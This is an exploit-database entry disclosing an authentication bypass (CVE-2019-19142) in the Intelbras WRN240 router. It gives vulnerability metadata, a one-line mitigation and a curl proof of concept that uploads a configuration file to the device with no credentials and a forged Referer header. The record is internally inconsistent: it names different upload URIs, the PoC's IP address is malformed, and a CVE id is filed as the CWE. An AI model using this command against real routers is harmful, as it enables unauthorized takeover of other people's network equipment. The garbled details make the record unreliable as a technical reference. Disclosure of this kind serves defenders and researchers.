Intelbras Wireless N 150Mbps WRN240 - Authentication Bypass (Config Upload)

vendor:

Wireless N 150Mbps WRN240

by:

Elber Tavares

7.5

CVSS

HIGH

Authentication Bypass

287

CWE

Product Name: Wireless N 150Mbps WRN240

Affected Version From: Intelbras Wireless N 150Mbps - WRN240

Affected Version To: Intelbras Wireless N 150Mbps - WRN240

Patch Exists: YES

Related CWE: CVE-2019-19142

CPE: h:intelbras:wireless_n_150mbps_wrn240

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: linux, windows

2019

Intelbras Wireless N 150Mbps WRN240 – Authentication Bypass (Config Upload)

Intelbras WRN240 devices do not require authentication to replace the firmware via a POST request to the incoming/Firmware.cfg URI.

Mitigation:

Ensure that authentication is required for firmware updates.

Source

Exploit-DB raw data:

# Exploit Title: Intelbras Wireless N 150Mbps WRN240 - Authentication Bypass (Config Upload)
# Date: 2019-11-20
# Exploit Author: Elber Tavares
# Vendor Homepage:  https://www.intelbras.com/
# Software Link:  http://en.intelbras.com.br/node/1033
# Version: Intelbras Wireless N 150Mbps - WRN240
# Tested on: linux, windows
# CVE: CVE-2019-19142

Intelbras WRN240 devices do not require authentication to replace the
firmware via a POST request to the incoming/Firmware.cfg URI.

REFS:
 https://fireshellsecurity.team/hack-n-routers/
 https://github.com/ElberTavares/routers-exploit/


Poc:
curl -i -X POST -H "Content-Type: multipart/form-data" -H "Referer:
http://192.168.0.1/userRpm/BakNRestoreRpm.htm" -F data=@config.bin
http://192.1680.1/incoming/RouterBakCfgUpload.cfg